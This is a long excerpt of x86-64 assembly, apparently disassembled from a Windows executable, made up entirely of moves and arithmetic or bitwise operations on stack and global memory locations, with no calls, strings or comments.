mov rax, qword [rsp + 0x53c8]
mov rax, qword [rax]
mov qword [rsp + 0x7960], rax
movzx eax, byte [0x140113027]
movzx ecx, byte [rsp + 0xdf]
sar eax, cl
mov byte [0x1401141bf], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xa84]
xor eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0x908], ax
mov rax, qword [0x140114160]
mov qword [rsp + 0x7970], rax
mov rax, qword [rsp + 0x6698]
mov rcx, qword [rsp + 0x61f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x6690]
mov eax, dword [rax]
mov dword [rsp + 0x3030], eax
mov rax, qword [rsp + 0x6938]
mov rcx, qword [rsp + 0x5860]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7498], rax
movsx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011308e], al
movzx eax, word [rsp + 0x9c0]
mov rcx, qword [rsp + 0x72e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
lea rax, [rsp + 0x4f]
mov qword [rsp + 0x7978], rax
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0xd04], ax
movzx eax, word [rsp + 0xaf8]
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x5e60]
mov rcx, qword [rsp + 0x5af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x6668]
mov rax, qword [rax]
imul rax, qword [rsp + 0x5320]
mov rcx, qword [rsp + 0x7000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0x7980], rax
mov eax, dword [rsp + 0x2e24]
mov ecx, dword [rsp + 0x2fe4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
lea rax, [rsp + 0x98c]
mov qword [0x140114760], rax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x7988], rax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0x5e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x7990], rax
mov rax, qword [rsp + 0x76b8]
mov rcx, qword [rsp + 0x50e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71c0]
mov eax, dword [rax]
mov dword [rsp + 0x3034], eax
mov rax, qword [rsp + 0x6908]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5ea0]
shr rax, cl
mov qword [rsp + 0x58b0], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2ff8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e20], eax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d]
and eax, ecx
mov byte [0x14011302b], al
movzx eax, word [rsp + 0xa38]
mov word [rsp + 0xde8], ax
mov rax, qword [rsp + 0x5560]
movzx eax, word [rax]
movzx ecx, word [0x140113080]
sub eax, ecx
mov rcx, qword [rsp + 0x52b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13b]
mov byte [rsp + 0x179], al
movsx eax, byte [rsp + 0x10b]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x7998], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d90]
mov ecx, dword [rsp + 0x2c94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e4c], eax
lea rax, [0x140113008]
mov qword [rsp + 0x79a0], rax
lea rax, [rsp + 0xc8c]
mov qword [0x140114768], rax
mov rax, qword [rsp + 0x69b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5fe8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5f30]
mov byte [rcx], al
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x79a8], rax
mov rax, qword [0x140114320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa7], al
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [rsp + 0x130]
add eax, ecx
mov byte [rsp + 0x13f], al
lea rax, [rsp + 0x2d5c]
mov qword [rsp + 0x79b0], rax
mov rax, qword [rsp + 0x7320]
mov rcx, qword [rsp + 0x6670]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5e68], rax
mov rax, qword [rsp + 0x5b88]
mov qword [rsp + 0x79b8], rax
mov rax, qword [rsp + 0x7190]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4dd8]
mov qword [rsp + 0x79c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c20], eax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0xb2]
or eax, ecx
mov byte [rsp + 0xf0], al
movzx eax, word [rsp + 0x94c]
mov rcx, qword [rsp + 0x7678]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401145f0]
mov word [rcx], ax
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x79c8], rax
mov rax, qword [rsp + 0x6438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
sar eax, cl
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0x17a], al
mov rax, qword [rsp + 0x6e48]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x66c0]
mov dword [rcx], eax
lea rax, [rsp + 0x2da4]
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7720]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x6848]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7080], rax
mov rax, qword [rsp + 0x7130]
movzx eax, word [rax]
mov word [rsp + 0xdec], ax
movzx eax, word [rsp + 0xbb8]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
add eax, ecx
mov word [str.__v83], ax
movzx eax, byte [0x140113027]
movzx ecx, byte [rsp + 0x145]
add eax, ecx
mov byte [rsp + 0x86], al
lea rax, [rsp + 0x91c]
mov qword [rsp + 0x79d8], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x7210]
mov rcx, qword [rsp + 0x6b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c58], rax
mov eax, dword [rsp + 0x2f00]
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x5c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f64], eax
lea rax, [rsp + 0x77d0]
mov qword [rsp + 0x79e0], rax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7610]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [0x14011308f], al
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x6318]
mov byte [rcx], al
movzx eax, word [rsp + 0x914]
mov word [rsp + 0xdf0], ax
movsx eax, word [rsp + 0xba8]
mov rcx, qword [rsp + 0x5d98]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9ac], ax
mov rax, qword [rsp + 0x7778]
mov qword [rsp + 0x79e8], rax
mov rax, qword [rsp + 0x57b8]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d20], eax
mov rax, qword [rsp + 0x5390]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x302c], eax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x5fc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a4]
sar eax, cl
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x6378]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113092], al
lea rax, [rsp + 0x118]
mov qword [rsp + 0x79f8], rax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov byte [rsp + 0x139], al
lea rax, [rsp + 0x9b4]
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x74c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7240]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x7528]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6578], rax
mov rax, qword [rsp + 0x5a90]
mov qword [rsp + 0x7a08], rax
mov eax, dword [rsp + 0x2cac]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd4], eax
lea rax, [rsp + 0x2bc0]
mov qword [rsp + 0x7a10], rax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov word [0x1401130f0], ax
mov rax, qword [rsp + 0x6cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x66e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xab], al
movsx eax, byte [rsp + 0x3d]
movsx ecx, byte [rsp + 0xd5]
sub eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [0x1401145b0]
movzx eax, word [rax]
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x104]
add eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
mov dword [rsp + 0x303c], eax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x5270]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x69d8], rax
mov eax, dword [rsp + 0x2db0]
mov rcx, qword [rsp + 0x7938]
mov qword [rsp + 0x7a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a18]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcbc]
xor eax, ecx
mov word [0x1401146d0], ax
movzx eax, byte [rsp + 0x45]
mov rcx, qword [rsp + 0x78e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6ef8]
mov byte [rcx], al
movzx eax, word [rsp + 0x9cc]
mov word [rsp + 0xdf8], ax
mov rax, qword [0x140114638]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6388]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x155], al
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0x97c]
sub eax, ecx
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x6890]
mov eax, dword [rax]
mov dword [rsp + 0x3040], eax
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x6870]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6288], rax
lea rax, [rsp + 0x5690]
mov qword [rsp + 0x7a28], rax
mov rax, qword [rsp + 0x6208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fa8], eax
movzx eax, byte [0x140113027]
mov byte [0x140114284], al
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x7a30], rax
mov rax, qword [rsp + 0x6378]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6448]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6f40]
mov byte [rcx], al
movzx eax, word [rsp + 0x898]
mov word [rsp + 0xdfc], ax
mov eax, dword [rsp + 0x2f34]
mov ecx, dword [rsp + 0x2d20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d54], eax
lea rax, [0x140114160]
mov qword [rsp + 0x7a38], rax
mov rax, qword [rsp + 0x51e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5830]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x177]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov byte [0x14011306a], al
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x17b], al
movzx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7610]
mov word [rcx], ax
lea rax, [0x1401146b8]
mov qword [rsp + 0x7a40], rax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0x7258]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6018]
mov byte [rcx], al
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x7658]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5de8]
mov dword [rcx], eax
lea rax, [0x140113008]
mov qword [rsp + 0x7a48], rax
mov rax, qword [rsp + 0x6608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5448]
mov qword [rsp + 0x7a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a50]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6150]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71b8]
mov eax, dword [rax]
mov dword [rsp + 0x3044], eax
lea rax, [rsp + 0x920]
mov qword [0x140114770], rax
mov rax, qword [rsp + 0x61d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb00]
and eax, ecx
mov word [rsp + 0xd64], ax
lea rax, [rsp + 0xd1]
mov qword [rsp + 0x7a58], rax
movzx eax, word [rsp + 0x90c]
mov rcx, qword [0x140114290]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5bb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16c]
movsx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x2ea8]
mov qword [rsp + 0x7a60], rax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x6538]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6338], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0x7a68], rax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x2f34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d80], eax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [0x140114748]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113006], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x8e4]
and eax, ecx
mov word [rsp + 0x91c], ax
mov rax, qword [rsp + 0x5980]
movzx eax, byte [rax]
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0x6da8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6eb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7428]
movzx eax, word [rax]
mov word [rsp + 0xe00], ax
mov rax, qword [rsp + 0x5548]
mov rcx, qword [rsp + 0x6de0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a20]
mov dword [rcx], eax
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x7a70], rax
mov rax, qword [rsp + 0x65c8]
mov rcx, qword [rsp + 0x7690]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5ab0], rax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0xc94]
or eax, ecx
mov word [0x14011311c], ax
mov rax, qword [rsp + 0x5868]
movzx eax, byte [rax]
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x7538]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
sar eax, cl
mov rcx, qword [rsp + 0x6948]
mov byte [rcx], al
movzx eax, word [0x1401143e8]
movzx ecx, word [rsp + 0xd24]
shl eax, cl
mov rcx, qword [rsp + 0x6408]
mov word [rcx], ax
lea rax, [rsp + 0x9c4]
mov qword [rsp + 0x7a78], rax
mov rax, qword [rsp + 0x54b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ff4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
mov qword [rsp + 0x7a80], rax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x76d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x2f70]
mov qword [rsp + 0x7a88], rax
movsx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xad4]
movsx ecx, word [rsp + 0xcb8]
sub eax, ecx
mov word [0x1401130a0], ax
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [0x140114748]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x6bd8]
movzx eax, word [rax]
mov word [rsp + 0xe04], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov dword [rsp + 0x3048], eax
mov rax, qword [rsp + 0x6618]
mov rcx, qword [rsp + 0x7468]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x73e8], rax
mov rax, qword [rsp + 0x5cc8]
mov qword [rsp + 0x7a90], rax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x7360]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5660]
mov byte [rcx], al
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0x13a]
sar eax, cl
mov byte [0x140113093], al
lea rax, [0x140114380]
mov qword [rsp + 0x7a98], rax
movzx eax, byte [rsp + 0x106]
movzx ecx, byte [rsp + 0xd3]
shl eax, cl
mov rcx, qword [rsp + 0x5fe8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x3e]
mov rcx, qword [rsp + 0x6078]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x72c0]
mov eax, dword [rax]
mov dword [rsp + 0x304c], eax
mov rax, qword [rsp + 0x6828]
mov ecx, dword [rsp + 0x2dcc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2fc8], eax
mov rax, qword [rsp + 0x6720]
mov qword [rsp + 0x7aa0], rax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x64f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6428], rax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x7aa8], rax
mov rax, qword [rsp + 0x5e00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7710]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14011303e], al
movzx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x7638]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6708]
mov word [rcx], ax
mov rax, qword [rsp + 0x58f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x130], al
lea rax, [rsp + 0xb00]
mov qword [rsp + 0x7ab0], rax
mov rax, qword [rsp + 0x73d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7850], rax
mov rax, qword [rsp + 0x7670]
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fe4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c5c], eax
mov eax, dword [rsp + 0x3014]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dbc], eax
lea rax, [rsp + 0x116]
mov qword [rsp + 0x7ac0], rax
lea rax, [rsp + 0xe04]
mov qword [0x140114778], rax
movsx eax, word [rsp + 0x8f0]
movsx ecx, word [0x140114560]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
lea rax, [rsp + 0x938]
mov qword [rsp + 0x7ac8], rax
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0x62]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6d60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa38], ax
mov rax, qword [rsp + 0x6618]
mov eax, dword [rax]
mov dword [rsp + 0x3050], eax
mov rax, qword [rsp + 0x7778]
mov rcx, qword [rsp + 0x5548]
mov qword [rsp + 0x7ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ad0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6d70]
mov qword [rcx], rax
lea rax, [rsp + 0x6cf0]
mov qword [rsp + 0x7ad8], rax
mov rax, qword [rsp + 0x6ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2df4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5520]
mov dword [rcx], eax
lea rax, [rsp + 0x15b]
mov qword [0x140114780], rax
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [0x140113056]
or eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
mov word [rsp + 0xe08], ax
mov rax, qword [rsp + 0x61a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
sar eax, cl
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
movzx eax, word [rsp + 0xc54]
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x73c0]
mov rcx, qword [rsp + 0x5ce8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6eb8]
mov eax, dword [rax]
mov dword [rsp + 0x3054], eax
mov rax, qword [rsp + 0x5730]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7138]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7780]
mov ecx, dword [rsp + 0x2af0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x64e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140114233], al
mov rax, qword [rsp + 0x56a0]
movzx eax, byte [rax]
mov byte [rsp + 0x17e], al
movsx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x5890]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5528]
movzx eax, word [rax]
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0xc6]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b3c]
mov ecx, dword [rsp + 0x2d40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
lea rax, [rsp + 0x69f0]
mov qword [rsp + 0x7ae0], rax
mov rax, qword [rsp + 0x6eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ff0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5128]
mov rax, qword [rax]
mov qword [rsp + 0x7ae8], rax
lea rax, [rsp + 0xc20]
mov qword [0x140114788], rax
mov rax, qword [rsp + 0x6dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c4], ax
movzx eax, word [0x140113064]
mov rcx, qword [rsp + 0x6880]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbe0], ax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x7af0], rax
mov rax, qword [rsp + 0x6640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x63a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2bec]
mov dword [rsp + 0x3058], eax
mov rax, qword [rsp + 0x7400]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5a90]
shl rax, cl
mov qword [rsp + 0x62c8], rax
mov rax, qword [rsp + 0x7a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6040]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d18], rax
mov eax, dword [rsp + 0x2fcc]
mov dword [rsp + 0x305c], eax
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x74c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140114520]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd7]
mov rcx, qword [0x140114378]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x7338]
movzx eax, word [rax]
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x5940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb60]
and eax, ecx
mov word [rsp + 0xb9c], ax
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5e68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7380], rax
mov rax, qword [rsp + 0x6180]
mov ecx, dword [rsp + 0x2fc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x65b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4eb0]
mov qword [rsp + 0x7af8], rax
mov eax, dword [rsp + 0x2be4]
mov ecx, dword [rsp + 0x2fa4]
and ecx, eax
mov eax, ecx
